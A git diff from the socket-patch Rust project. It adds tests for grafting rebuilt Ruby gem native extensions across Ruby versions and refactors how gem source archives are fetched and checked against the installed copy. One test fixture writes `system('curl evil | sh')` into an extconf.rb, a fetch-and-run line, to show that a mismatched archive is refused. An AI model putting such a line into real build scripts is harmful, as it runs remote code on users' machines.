+ after_hash: after, + }, + )] + .into(); + let (scope, _) = scope_of(©.gem_dir, &record).await; + assert_eq!( + prebuilt_siblings(©.gem_dir, "lib/a/3.4/a.bundle"), + ["lib/a/3.3/a.bundle"] + ); + assert!(prebuilt_siblings(©.gem_dir, "lib/a.bundle").is_empty()); + + // Ruby 3.4 runs `apply`. + let staged = staged_build( + &tmp.path().join("stage34"), + &["a/a.bundle"], + b"built by 3.4", + ); + let grafts = plan_graft(©, &probe_for(©, "3.4.10"), &staged).unwrap(); + assert!(back_up_prebuilt(©, &grafts, &[]).unwrap()); + let ungrafted = graft_binaries(©, &scope, &record, &grafts).unwrap(); + assert_eq!(ungrafted, ["lib/a/3.3/a.bundle"]); + assert_eq!( + std::fs::read(&for_33).unwrap(), + PREBUILT, + "3.3 still loads the old code" + ); + assert_eq!( + verify_native_build(©.gem_dir, &record).await, + Err(NOT_REBUILT_REASON.to_string()), + "attested while Ruby 3.3 would load an unpatched binary" + ); + assert!(other_rubies_warning("pkg:gem/a@1", ©, &ungrafted) + .is_some_and(|(code, detail)| code == NOT_REBUILT_REASON + && detail.contains("lib/a/3.3/a.bundle"))); + // Under 3.4 again there is nothing to build; under 3.3 there is. + assert_eq!( + ungrafted_after(©, &scope, &record, "3.4"), + Some(vec!["lib/a/3.3/a.bundle".to_string()]) + ); + assert_eq!(ungrafted_after(©, &scope, &record, "3.3"), None); + + // Ruby 3.3 runs `apply`: its binary joins the marker and the backup. + let staged = staged_build( + &tmp.path().join("stage33"), + &["a/a.bundle"], + b"built by 3.3", + ); + let grafts = plan_graft(©, &probe_for(©, "3.3.6"), &staged).unwrap(); + assert!(!back_up_prebuilt(©, &grafts, &[]).unwrap()); + assert!(graft_binaries(©, &scope, &record, &grafts) + .unwrap() + .is_empty()); + assert_eq!(std::fs::read(&for_33).unwrap(), b"built by 3.3"); + assert_eq!(std::fs::read(&for_34).unwrap(), b"built by 3.4"); + let marker = read_marker_sync(©.gem_dir).unwrap(); + assert_eq!( + marker.lib_artifacts.keys().collect::>(), + ["lib/a/3.3/a.bundle", "lib/a/3.4/a.bundle"] + ); + assert_eq!(verify_native_build(©.gem_dir, &record).await, Ok(())); + // One of them reinstalled: neither is attested. + std::fs::write(&for_33, PREBUILT).unwrap(); + assert!(verify_native_build(©.gem_dir, &record).await.is_err()); + std::fs::write(&for_33, b"built by 3.3").unwrap(); + + let env = RubyEnv { + cwd: home.clone(), + rebuild: true, + offline: true, + }; + assert_eq!(restore_original_build(©.gem_dir, &env).await, Ok(true)); + for binary in [&for_33, &for_34] { + assert_eq!( + std::fs::read(binary).unwrap(), + PREBUILT, + "{}", + binary.display() + ); + } + } + + /// A home laid out for one Ruby is attested by that Ruby's binary, and + /// by no other: a graft for 3.3 in a 3.4 home patches nothing 3.4 + /// loads. + #[test] + fn a_tied_home_is_attested_by_its_own_rubys_binary() { + let tmp = tempfile::tempdir().unwrap(); + let home = tmp.path().join("gems-home"); + let copy = precompiled_gem(&home); + // Another gem's extension, built for 3.4: the home's Ruby. + std::fs::create_dir_all(home.join("extensions/arm64-darwin-24/3.4.0/racc-1.8.1")).unwrap(); + assert_eq!(home_minor(©).as_deref(), Some("3.4")); + let grafted = |minor: &str| BuildMarker { + schema: GRAFT_MARKER_SCHEMA, + lib_artifacts: [(format!("lib/a/{minor}/a.bundle"), String::new())].into(), + grafted: true, + ..BuildMarker::default() + }; + assert!(ungrafted_binaries(&grafted("3.4"), ©).is_empty()); + assert_eq!( + ungrafted_binaries(&grafted("3.3"), ©), + ["lib/a/3.4/a.bundle"] + ); + // A second ABI in the home: no longer one Ruby's. + std::fs::create_dir_all(home.join("extensions/arm64-darwin-24/3.3.0/racc-1.8.1")).unwrap(); + assert_eq!(home_minor(©), None); + assert_eq!( + ungrafted_binaries(&grafted("3.4"), ©), + ["lib/a/3.3/a.bundle"] + ); + assert_eq!(ruby_minor("3.4.0-static").as_deref(), Some("3.4")); + assert_eq!(ruby_minor("3.4.10").as_deref(), Some("3.4")); + assert_eq!(ruby_minor("ruby"), None); + } + + /// The archive a rebuild starts from is found by name and version. It + /// is built only when it is the installed copy's own source: every + /// file the two share is the same, a file of the record aside. + #[test] + fn an_archive_must_be_the_installed_gems_own_source() { + let tmp = tempfile::tempdir().unwrap(); + let (installed, staged) = (tmp.path().join("installed"), tmp.path().join("staged")); + let lay = |root: &Path, files: &[(&str, &str)]| { + for (rel, text) in files { + let path = root.join(rel); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write(path, text).unwrap(); + } + }; + // The source gem: what the installed copy has, and the build + // inputs it lost or never shipped. + lay( + &staged, + &[ + ("lib/a.rb", "module A; end\n"), + ("ext/a/a.c", "int a = 1;\n"), + ("ext/a/extconf.rb", "require 'mkmf'\n"), + ("ports/value.txt", "40\n"), + ], + ); + lay( + &installed, + &[ + ("lib/a.rb", "module A; end\n"), + ("ext/a/a.c", "int a = 1;\n"), + ("ext/a/extconf.rb", "require 'mkmf'\n"), + ("ext/a/Makefile", "all:\n"), + ("lib/a/a.so", "built"), + ], + ); + let none = HashMap::new(); + assert_eq!(prove_own_source(&installed, &staged, &none), Ok(3)); + + // A record file may hold what the record writes, or content the + // run's mismatch policy answers for. + let after = "int a = 2;\n"; + let record: HashMap = [( + "ext/a/a.c".to_string(), + PatchFileInfo { + before_hash: compute_git_sha256_from_bytes(b"int a = 1;\n"), + after_hash: compute_git_sha256_from_bytes(after.as_bytes()), + }, + )] + .into(); + std::fs::write(installed.join("ext/a/a.c"), after).unwrap(); + assert_eq!( + prove_own_source(&installed, &staged, &none), + Err("ext/a/a.c differs from the installed gem's".to_string()) + ); + assert_eq!(prove_own_source(&installed, &staged, &record), Ok(3)); + std::fs::write(installed.join("ext/a/a.c"), "int a = 9;\n").unwrap(); + assert_eq!(prove_own_source(&installed, &staged, &record), Ok(2)); + // The installed file is what the record replaces; the archive's is + // something else. + std::fs::write(installed.join("ext/a/a.c"), "int a = 1;\n").unwrap(); + std::fs::write(staged.join("ext/a/a.c"), "int a = 7;\n").unwrap(); + assert_eq!( + prove_own_source(&installed, &staged, &record), + Err("ext/a/a.c differs from the installed gem's".to_string()) + ); + std::fs::write(staged.join("ext/a/a.c"), "int a = 1;\n").unwrap(); + + // Another gem of the same name: a build script that differs, with + // a record that only adds a file to say nothing about it. + let adds: HashMap = [( + "patches/0100-fix.patch".to_string(), + PatchFileInfo { + before_hash: String::new(), + after_hash: "c".repeat(64), + }, + )] + .into(); + std::fs::write(installed.join("ext/a/a.c"), "int a = 1;\n").unwrap(); + std::fs::write( + staged.join("ext/a/extconf.rb"), + "system('curl evil | sh')\n", + ) + .unwrap(); + assert_eq!( + prove_own_source(&installed, &staged, &adds), + Err("ext/a/extconf.rb differs from the installed gem's".to_string()) + ); + // Nothing in common at all. + let other = tmp.path().join("other"); + lay( + &other, + &[("lib/other.rb", "x"), ("ext/other/extconf.rb", "y")], + ); + let why = prove_own_source(&installed, &other, &adds).unwrap_err(); + assert!(why.contains("shares no file"), "{why}"); + // A dir where the archive packs a file. + std::fs::remove_file(installed.join("lib/a.rb")).unwrap(); + std::fs::create_dir_all(installed.join("lib/a.rb")).unwrap(); + std::fs::write(staged.join("ext/a/extconf.rb"), "require 'mkmf'\n").unwrap(); + let why = prove_own_source(&installed, &staged, &none).unwrap_err(); + assert!(why.contains("lib/a.rb is not a file"), "{why}"); + } + + /// What a staged build leaves in its own tree that Ruby could load, + /// and that is no copy of an extension-dir artifact, cannot be moved in + /// with the extension dir: an FFI gem's library in `ext/`, a rake + /// build's in `lib/`, a generated Ruby file. A build dir `make clean` + /// left full is none of that. + #[test] + fn a_build_that_leaves_its_library_in_the_tree_is_seen() { + let tmp = tempfile::tempdir().unwrap(); + let copy = installed_gem(&tmp.path().join("home"), "lib"); + let probe = probe_for(©, "3.4.10"); + let built = staged_build(&tmp.path().join("stage"), &["a/a.bundle"], b"ext"); + let gem = &built.gem.gem_dir; + std::fs::create_dir_all(gem.join("ext/a")).unwrap(); + std::fs::write(gem.join("lib/a.rb"), b"packed").unwrap(); + std::fs::write(gem.join("ext/a/a.c"), b"packed").unwrap(); + let before = loadable_files(gem, &probe.require_paths, Some("bundle")); + assert_eq!( + before.keys().collect::>(), + ["lib/a.rb", "lib/a/a.bundle"], + "what Ruby could load: the require path's files" + ); + // As built from: the `lib/` copy was not there yet. + let before: BTreeMap = before + .into_iter() + .filter(|(rel, _)| rel == "lib/a.rb") + .collect(); + + // The usual build: the extension dir, its `lib/` copy, objects, a + // Makefile, and the linked extension `make clean` did not remove. + std::fs::write(gem.join("ext/a/Makefile"), b"all:\n").unwrap(); + std::fs::write(gem.join("ext/a/a.o"), b"object").unwrap(); + std::fs::write(gem.join("ext/a/a.bundle"), b"ext").unwrap(); + assert_eq!( + in_tree_products(&built, &before, &probe), + Vec::::new() + ); + + // A library of its own in `ext/`, as an FFI gem loads it. + std::fs::write(gem.join("ext/a/liba_wrap.so"), b"wrapped").unwrap(); + assert_eq!( + in_tree_products(&built, &before, &probe), + ["ext/a/liba_wrap.so"] + ); + std::fs::remove_file(gem.join("ext/a/liba_wrap.so")).unwrap(); + // A Ruby file the build wrote or rewrote under the require path. + std::fs::write(gem.join("lib/a.rb"), b"regenerated").unwrap(); + std::fs::write(gem.join("lib/a_config.rb"), b"generated").unwrap(); + assert_eq!( + in_tree_products(&built, &before, &probe), + ["lib/a.rb", "lib/a_config.rb"] + ); + for name in ["a.so", "a.bundle", "liba.dylib", "a.DLL", "liba.so.1.2"] { + assert!(is_library_name(name, None), "{name}"); + } + for name in ["a.o", "a.a", "so", "a.rb", "also.txt"] { + assert!(!is_library_name(name, None), "{name}"); + } + assert!(is_library_name("a.sl", Some("sl"))); + } + + /// A record written for a platform names it in its purl; the `ruby` + /// record and another platform's do not. + #[tokio::test] + async fn a_platform_record_is_matched_to_its_own_copies() { + let tmp = tempfile::tempdir().unwrap(); + let precompiled = precompiled_gem(&tmp.path().join("ruby/3.4.0")); + assert_eq!( + copy_platform(&precompiled.gem_dir).await.as_deref(), + Some("arm64-darwin") + ); + let built = installed_gem(&tmp.path().join("built"), "lib"); + assert_eq!(copy_platform(&built.gem_dir).await, None); + assert_eq!(copy_platform(tmp.path()).await, None); + + assert!(names_platform( + "pkg:gem/a@1?platform=arm64-darwin", + "arm64-darwin" + )); + assert!(names_platform( + "pkg:gem/a@1?platform=x86_64-linux-gnu", + "x86_64-linux" + )); + assert!(names_platform( + "pkg:gem/a@1?platform=X86_64-linux", + "x86_64-linux-gnu" + )); + for other in [ + "pkg:gem/a@1", + "pkg:gem/a@1?platform=ruby", + "pkg:gem/a@1?platform=java", + "pkg:gem/a@1?platform=x86_64-linux-musl", + ] { + assert!(!names_platform(other, "x86_64-linux"), "{other}"); + } + } } diff --git a/crates/socket-patch-core/src/patch/gem_source.rs b/crates/socket-patch-core/src/patch/gem_source.rs index 13efa04e7..d7d047e56 100644 --- a/crates/socket-patch-core/src/patch/gem_source.rs +++ b/crates/socket-patch-core/src/patch/gem_source.rs @@ -10,8 +10,7 @@ //! archive, `-.gem`. This module finds it: //! //! 1. In the gem home's `cache/`, where RubyGems and Bundler keep the -//! archive of every gem they install from source. It is used as it is: -//! it has the trust of the installed copy beside it, and no network is +//! archive of every gem they install from source. No network is //! involved. //! 2. Else downloaded from the default registry: rubygems.org, or the //! registry `SOCKET_RUBYGEMS_URL` names (a mirror). The URL is built @@ -19,6 +18,11 @@ //! their sha256 is the one that registry's compact index //! (`info/`) records. `--offline` skips this step. //! +//! Wherever it comes from, the archive is only a candidate: before +//! anything of it is built, `gem_ext` proves it is the installed copy's +//! own source, file by file (`prove_own_source` there). That, not this +//! module, is what keeps another gem of the same name from being built. +//! //! # What the lock is read for //! //! Nothing a lock entry holds drives a download: not its `remote:`, not @@ -27,28 +31,31 @@ //! remote serves patched bytes and the checksum pins them, and a lock is a //! file of the repository being scanned, which must not choose where code //! that is about to be built comes from. The lock is read for one thing: -//! to *withhold* the download. A gem the lock resolves from another source -//! (a private gem server, a mirror, a git or path source, Socket's patch -//! registry) is not the registry's gem of that name, so nothing is fetched -//! for it ([`Origin::Elsewhere`]); its cached archive is the only way to -//! its source. +//! to *withhold* the download. A gem name the lock resolves from another +//! source at any version (a private gem server, a mirror, a git or path +//! source, Socket's patch registry) is not the registry's gem of that +//! name, so nothing is fetched for it ([`GemSource::withheld`]); its +//! cached archive is the only way to its source. The lock read is the one +//! at the project root, which is not always the lock that governs the gem +//! home (a monorepo member, `BUNDLE_GEMFILE`, a global home): withholding +//! is a courtesy to the registry and to the user's time, never the proof. //! //! A gem the build needs and the install lacks (a precompiled nokogiri has //! no `mini_portile2`) is resolved from the registry's compact index the //! same way: the newest ruby-platform release that meets the requirement //! and runs on the building Ruby, verified against the index's checksum. +//! Its name comes from the proven source gem's own metadata. use std::cmp::Ordering; +use std::collections::HashMap; use std::path::Path; +use std::sync::OnceLock; use crate::formats::gem::{self, BUNDLER_LOCKS}; -use crate::patch::redirect::upstream::{compact_index_checksum, rubygems_base}; +use crate::patch::redirect::upstream::{compact_index_checksum, is_rubygems_remote, rubygems_base}; use crate::utils::digest::{sha256_hex, sha256_hex_of}; use crate::vendor::registry_fetch::{build_registry_client, download, RegistryClient}; -/// The default registry, as a lock's `remote:` spells it. -const RUBYGEMS_REMOTE: &str = "https://rubygems.org"; - /// One gem release: `-[-]`. #[derive(Debug, Clone, PartialEq, Eq)] pub(crate) struct GemId { @@ -82,85 +89,64 @@ impl GemId { } } -/// Where a project's lock resolves a gem from, as far as a download from -/// the default registry is concerned. -#[derive(Debug, Clone, PartialEq, Eq)] -pub(crate) enum Origin { - /// The default registry, or nothing the lock says: the registry's gem - /// of that name is the gem. - Registry, - /// Another source, named as the lock names it: the registry's gem of - /// that name is not this gem, and nothing is downloaded for it. - Elsewhere(String), -} - -/// Whether `remote` is the default registry (or its `SOCKET_RUBYGEMS_URL` -/// stand-in). -fn is_registry(remote: &str) -> bool { - gem::same_remote(remote, RUBYGEMS_REMOTE) || gem::same_remote(remote, &rubygems_base()) -} - -/// Read the [`Origin`] of the gem `name` out of a Bundler lock's text: -/// of its `version` when one is given (any platform of it), else of any -/// version. A `GEM` section counts as the registry only when every one of -/// its remotes is (a section with several remotes does not say which -/// serves the gem), and a gem that any source section lists from somewhere -/// else is from elsewhere. -pub(crate) fn origin(lock: &str, name: &str, version: Option<&str>) -> Origin { +/// The gems a Bundler lock resolves from somewhere that is not the default +/// registry, each with that source as the lock names it (credentials +/// redacted): whatever version it pins, the registry's gem of that name is +/// not the project's. A `GEM` section counts as the registry only when +/// every one of its remotes is (a section with several remotes does not +/// say which serves a gem); a `GIT`, `PATH` or plugin section never does. +pub(crate) fn resolved_elsewhere(lock: &str) -> HashMap { let text = crate::utils::line_endings::to_lf(lock); let parsed = gem::parse(&text); - let mut elsewhere: Option = None; + let mut out: HashMap = HashMap::new(); for section in &parsed.sections { - let lists = section - .specs - .iter() - .filter_map(|line| line.parsed) - .any(|spec| spec.name == name && version.is_none_or(|v| spec.version == v)); - if !lists { - continue; - } - if section.header != "GEM" { - let kind = section.header.to_ascii_lowercase(); - elsewhere.get_or_insert_with(|| format!("a {kind} source")); - continue; - } - let other = section.remote_bases().find(|remote| !is_registry(remote)); - if let Some(remote) = other { - elsewhere - .get_or_insert_with(|| crate::utils::redact::redact_urls_in(remote).into_owned()); + let source = if section.header == "GEM" { + match section + .remote_bases() + .find(|remote| !is_rubygems_remote(remote)) + { + Some(remote) => crate::utils::redact::redact_urls_in(remote).into_owned(), + None => continue, + } + } else { + format!("a {} source", section.header.to_ascii_lowercase()) + }; + for spec in section.specs.iter().filter_map(|line| line.parsed) { + out.entry(spec.name.to_string()) + .or_insert_with(|| source.clone()); } } - match elsewhere { - Some(source) => Origin::Elsewhere(source), - None => Origin::Registry, - } + out } /// Where gem archives come from in one run: the gem homes' caches and the -/// default registry, with the project's lock (read once) to say which gems -/// are not the registry's. +/// default registry, with the project's lock (read and parsed once) to say +/// which gems are not the registry's. pub(crate) struct GemSource { - lock: Option, + /// [`resolved_elsewhere`] of the project's lock. + elsewhere: HashMap, offline: bool, - http: RegistryClient, + /// Built by the first download: a dry run, an offline run and a run + /// that finds its archive cached never make one. + http: OnceLock, } impl GemSource { /// The source for the project at `project` (its `Gemfile.lock` or /// `gems.locked`, when it has one). pub(crate) async fn of(project: &Path, offline: bool) -> GemSource { - let mut lock = None; + let mut elsewhere = HashMap::new(); for file in BUNDLER_LOCKS { // Guarded: a FIFO squatting the lock path must not block. if let Ok(text) = crate::utils::fs::read_regular_to_string(&project.join(file)).await { - lock = Some(text); + elsewhere = resolved_elsewhere(&text); break; } } GemSource { - lock, + elsewhere, offline, - http: build_registry_client(), + http: OnceLock::new(), } } @@ -168,18 +154,11 @@ impl GemSource { self.offline } - fn origin(&self, name: &str, version: Option<&str>) -> Origin { - match &self.lock { - Some(lock) => origin(lock, name, version), - None => Origin::Registry, - } - } - - /// Why nothing is downloaded for the gem `name` (at `version`, when one - /// is given): the run is offline, or the lock resolves the gem from - /// another source. `None` when the registry may be asked. - fn withheld(&self, name: &str, version: Option<&str>) -> Option { - if let Origin::Elsewhere(source) = self.origin(name, version) { + /// Why nothing is downloaded for the gem `name`: the lock resolves it + /// from another source, or the run is offline. `None` when the + /// registry may be asked. + fn withheld(&self, name: &str) -> Option { + if let Some(source) = self.elsewhere.get(name) { return Some(format!( "the project's lock resolves {name} from {source}, not from {}, so it is not \ downloaded", @@ -189,18 +168,27 @@ impl GemSource { self.offline.then(|| "this run is offline".to_string()) } + /// Whether the archive of `id` is in the gem home `home`'s `cache/` + /// (its bytes are not read). + async fn has_cached(&self, home: &Path, id: &GemId) -> bool { + id.is_plain() + && tokio::fs::symlink_metadata(cache_path(home, id)) + .await + .is_ok_and(|meta| { + meta.is_file() + && meta.len() <= crate::vendor::registry_fetch::MAX_DOWNLOAD_BYTES + }) + } + /// The archive of `id` in the gem home `home`'s `cache/`, when it is /// there. pub(crate) async fn cached(&self, home: &Path, id: &GemId) -> Option> { - if !id.is_plain() { - return None; - } - let path = cache_path(home, id); - let meta = tokio::fs::symlink_metadata(&path).await.ok()?; - if !meta.is_file() || meta.len() > crate::vendor::registry_fetch::MAX_DOWNLOAD_BYTES { + if !self.has_cached(home, id).await { return None; } - crate::utils::fs::read_regular_to_bytes(&path).await.ok() + crate::utils::fs::read_regular_to_bytes(&cache_path(home, id)) + .await + .ok() } /// Why [`Self::archive`] cannot produce `id` for `home`, as far as @@ -208,10 +196,10 @@ impl GemSource { /// be downloaded for it. `None` when it is cached, or the registry may /// be asked. Read-only, for a refusal a dry run makes too. pub(crate) async fn out_of_reach(&self, home: &Path, id: &GemId) -> Option { - if self.cached(home, id).await.is_some() { + if self.has_cached(home, id).await { return None; } - let withheld = self.withheld(&id.name, Some(&id.version))?; + let withheld = self.withheld(&id.name)?; Some(format!( "{} is not there and {withheld}", cache_path(home, id).display() @@ -225,13 +213,14 @@ impl GemSource { format!("{}.gem", id.full_name()), home.join("cache").display().to_string(), ); - match self.origin(&id.name, Some(&id.version)) { - Origin::Registry => format!( + if self.elsewhere.contains_key(&id.name) { + format!("Put {file} in {cache}.") + } else { + format!( "Run `socket-patch apply` once with network access to {}, or put {file} in \ {cache}.", rubygems_base() - ), - Origin::Elsewhere(_) => format!("Put {file} in {cache}."), + ) } } @@ -239,32 +228,26 @@ impl GemSource { /// the default registry, verified against the sha256 its compact index /// records. `Err` is why there is none. pub(crate) async fn archive(&self, home: &Path, id: &GemId) -> Result, String> { - let file = format!("{}.gem", id.full_name()); if !id.is_plain() { - return Err(format!("{file} is not a plain gem archive name")); + return Err(format!( + "{}.gem is not a plain gem archive name", + id.full_name() + )); } if let Some(bytes) = self.cached(home, id).await { return Ok(bytes); } let cache = cache_path(home, id); - if let Some(withheld) = self.withheld(&id.name, Some(&id.version)) { + if let Some(withheld) = self.withheld(&id.name) { return Err(format!("{} is not there and {withheld}", cache.display())); } let fetched = async { let base = rubygems_base(); - let info = self.index(&format!("{base}/info/{}", id.name)).await?; + let info = self.index(&base, &id.name).await?; let want = compact_index_checksum(&info, &id.token()).ok_or_else(|| { format!("{base} lists no {} {} with a checksum", id.name, id.token()) })?; - let url = format!("{base}/gems/{file}"); - let bytes = download(&self.http, &url).await?; - if sha256_hex_of(&bytes) == want { - Ok(bytes) - } else { - Err(format!( - "{url} does not have the sha256 the registry's index records for it" - )) - } + self.fetch_verified(&base, id, &want).await }; fetched.await.map_err(|why: String| { format!( @@ -274,12 +257,27 @@ impl GemSource { }) } - /// A compact index document. - async fn index(&self, url: &str) -> Result { - let bytes = download(&self.http, url).await?; + /// The registry's compact index document of the gem `name`. + async fn index(&self, base: &str, name: &str) -> Result { + let url = format!("{base}/info/{name}"); + let bytes = download(self.http.get_or_init(build_registry_client), &url).await?; String::from_utf8(bytes).map_err(|_| format!("{url} is not UTF-8")) } + /// The registry's archive of `id`, only when it has the sha256 `want` + /// (what the registry's index records for it). + async fn fetch_verified(&self, base: &str, id: &GemId, want: &str) -> Result, String> { + let url = format!("{base}/gems/{}.gem", id.full_name()); + let bytes = download(self.http.get_or_init(build_registry_client), &url).await?; + if sha256_hex_of(&bytes) == want { + Ok(bytes) + } else { + Err(format!( + "{url} does not have the sha256 the registry's index records for it" + )) + } + } + /// A ruby-platform release of the gem `name` that meets `requirement` /// (`~> 2.8.2`, `>= 1.0,< 3`) and runs on `ruby`, from the default /// registry: its id and its archive, verified against the sha256 the @@ -293,11 +291,11 @@ impl GemSource { if !gem::is_plain_gem_token(name) { return Err(format!("{name:?} is not a plain gem name")); } - if let Some(withheld) = self.withheld(name, None) { + if let Some(withheld) = self.withheld(name) { return Err(withheld); } let base = rubygems_base(); - let info = self.index(&format!("{base}/info/{name}")).await?; + let info = self.index(&base, name).await?; let (version, sha) = pick_release(&info, requirement, ruby) .ok_or_else(|| format!("{base} lists no release of {name} that meets {requirement}"))?; let id = GemId { @@ -308,15 +306,8 @@ impl GemSource { if !id.is_plain() { return Err(format!("{} is not a plain gem name", id.full_name())); } - let url = format!("{base}/gems/{}.gem", id.full_name()); - let bytes = download(&self.http, &url).await?; - if sha256_hex_of(&bytes) == sha { - Ok((id, bytes)) - } else { - Err(format!( - "{url} does not have the sha256 the registry's index records for it" - )) - } + let bytes = self.fetch_verified(&base, &id, &sha).await?; + Ok((id, bytes)) } } @@ -709,42 +700,22 @@ mod tests { /// A gem locked only as platform gems is still the registry's gem, so /// its ruby-platform archive may be fetched there. A gem any section - /// resolves from another source is not: a private server, a section - /// whose remotes are not all the registry (a merged Socket remote), a - /// git source. Credentials in a remote are not repeated. + /// resolves from another source is not, whatever version is asked for: + /// a private server, a section whose remotes are not all the registry + /// (a merged Socket remote), a git source. Credentials in a remote are + /// not repeated. #[test] - fn origin_tells_the_registrys_gems_from_others() { - assert_eq!(origin(LOCK, "nokogiri", Some("1.18.3")), Origin::Registry); - assert_eq!(origin(LOCK, "racc", None), Origin::Registry); - assert_eq!( - origin(&LOCK.replace('\n', "\r\n"), "racc", Some("1.8.1")), - Origin::Registry - ); - // Not in the lock at all, or another version of a locked gem. - assert_eq!(origin(LOCK, "mini_portile2", None), Origin::Registry); - assert_eq!(origin(LOCK, "inhouse", Some("9.9.9")), Origin::Registry); - - let Origin::Elsewhere(private) = origin(LOCK, "inhouse", Some("2.0.0")) else { - panic!("a private gem is not the registry's"); - }; - assert!(private.contains("gems.example.test"), "{private}"); - assert!(!private.contains("secret"), "{private}"); - assert!(matches!( - origin(LOCK, "sqlite3", Some("2.6.0")), - Origin::Elsewhere(_) - )); - assert!(matches!( - origin(LOCK, "inhouse", None), - Origin::Elsewhere(_) - )); - let Origin::Elsewhere(merged) = origin(LOCK, "merged", Some("1.0.0")) else { - panic!("a section with another remote does not say the registry serves the gem"); - }; - assert!(merged.contains("patch.example.test"), "{merged}"); - assert_eq!( - origin(LOCK, "forked", None), - Origin::Elsewhere("a git source".to_string()) - ); + fn the_lock_names_the_gems_that_are_not_the_registrys() { + for lock in [LOCK.to_string(), LOCK.replace('\n', "\r\n")] { + let elsewhere = resolved_elsewhere(&lock); + let mut names: Vec<&str> = elsewhere.keys().map(String::as_str).collect(); + names.sort(); + assert_eq!(names, ["forked", "inhouse", "merged", "sqlite3"]); + assert!(elsewhere["inhouse"].contains("gems.example.test")); + assert!(!elsewhere["inhouse"].contains("secret"), "{elsewhere:?}"); + assert!(elsewhere["merged"].contains("patch.example.test")); + assert_eq!(elsewhere["forked"], "a git source"); + } } #[test] @@ -795,7 +766,9 @@ mod tests { let online = GemSource::of(&project, false).await; assert_eq!(online.archive(&home, &racc).await.unwrap(), b"archive"); assert_eq!(online.out_of_reach(&home, &missing).await, None); - let private = id("inhouse", "2.0.0", None); + // The lock pins inhouse 2.0.0; another version of that name is no + // more the registry's gem than the pinned one. + let private = id("inhouse", "9.9.9", None); for why in [ online.out_of_reach(&home, &private).await.unwrap(), online.archive(&home, &private).await.unwrap_err(), @@ -812,7 +785,7 @@ mod tests { } let remedy = online.remedy(&home, &private); assert!(!remedy.contains("network access"), "{remedy}"); - assert!(remedy.contains("inhouse-2.0.0.gem"), "{remedy}"); + assert!(remedy.contains("inhouse-9.9.9.gem"), "{remedy}"); // In the home's cache, even a private gem's archive is its source. std::fs::write(cache_path(&home, &private), b"private").unwrap(); assert_eq!(online.archive(&home, &private).await.unwrap(), b"private"); diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/client.rs b/crates/socket-patch-core/src/patch/redirect/upstream/client.rs index 58e40b69a..1a858d767 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/client.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/client.rs @@ -108,6 +108,15 @@ pub(crate) fn rubygems_base() -> String { .unwrap_or_else(|| DEFAULT_RUBYGEMS.to_string()) } +/// Whether `remote` (a lock's `remote:`, a download base) is the default +/// RubyGems registry: rubygems.org, or its `SOCKET_RUBYGEMS_URL` stand-in. +/// The one test of it, shared by the upstream restore and by the source +/// gem lookup of a native-extension rebuild (`patch::gem_source`). +pub(crate) fn is_rubygems_remote(remote: &str) -> bool { + use crate::formats::gem::same_remote; + same_remote(remote, DEFAULT_RUBYGEMS) || same_remote(remote, &rubygems_base()) +} + /// Packagist's composer v2 metadata repository; override with /// `SOCKET_PACKAGIST_URL`. pub(crate) const DEFAULT_PACKAGIST: &str = "https://repo.packagist.org"; diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/gem.rs b/crates/socket-patch-core/src/patch/redirect/upstream/gem.rs index d081c441a..70122d768 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/gem.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/gem.rs @@ -1100,7 +1100,6 @@ pub(super) async fn upstream_archive( /// remote is rubygems.org (or the `SOCKET_RUBYGEMS_URL` stand-in). fn rubygems_locked(lock: &str, name: &str, version: &str) -> bool { let lines: Vec<&str> = lock.split('\n').collect(); - let base = super::rubygems_base(); gem_sections(&lines).iter().any(|sec| { sec.entries .iter() @@ -1108,7 +1107,7 @@ fn rubygems_locked(lock: &str, name: &str, version: &str) -> bool { && sec .remotes .iter() - .any(|(_, r)| same_remote(r, RUBYGEMS_REMOTE) || same_remote(r, &base)) + .any(|(_, r)| super::is_rubygems_remote(r)) }) } diff --git a/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs b/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs index 18ee1d31b..ff0184570 100644 --- a/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs +++ b/crates/socket-patch-core/src/patch/redirect/upstream/mod.rs @@ -46,7 +46,7 @@ mod uv; mod vlt; pub(crate) use client::UpstreamClient; -pub(crate) use client::{compact_index_checksum, rubygems_base}; +pub(crate) use client::{compact_index_checksum, is_rubygems_remote, rubygems_base}; pub(crate) use uv::{ declared_lock_specifier, lock_cutoff, pylock_no_binary, respell_lock_specifier, root_uv_settings, LockRequirementArray, diff --git a/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs b/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs index b7e0f9807..154e6acfd 100644 --- a/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs +++ b/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs @@ -4246,17 +4246,12 @@ const PINNED_REFERENCES: &[(&str, &str, &str)] = &[ ( "patch/gem_source.rs", "download", - "let bytes = download(&self.http, url).await?;", + "let bytes = download(self.http.get_or_init(build_registry_client), &url).await?;", ), ( "patch/gem_source.rs", "download", - "let bytes = download(&self.http, &url).await?;", - ), - ( - "patch/gem_source.rs", - "download", - "let bytes = download(&self.http, &url).await?;", + "let bytes = download(self.http.get_or_init(build_registry_client), &url).await?;", ), ( "patch/redirect/upstream/client.rs", From a8746f0cd3c961f42dc506bf1291e9a6b5421f75 Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 15:08:10 -0500 Subject: [PATCH 10/13] Capstones for a gem that loads its library from its own tree and a home shared by two Rubies Co-Authored-By: Claude Fable 5.2 --- .../tests/e2e_gem_native_ext_build.rs | 231 +++++++++++++++++- 1 file changed, 228 insertions(+), 3 deletions(-) diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index f72a7b8f5..32764668e 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -662,16 +662,23 @@ hang() {{ wait exit 1 }} +# The Ruby this stands in for: 3.4, or 3.3 once the test says so. +version=3.4.1 +abi=3.4.0 +if [ -e "$state/ruby-3.3" ]; then + version=3.3.6 + abi=3.3.0 +fi 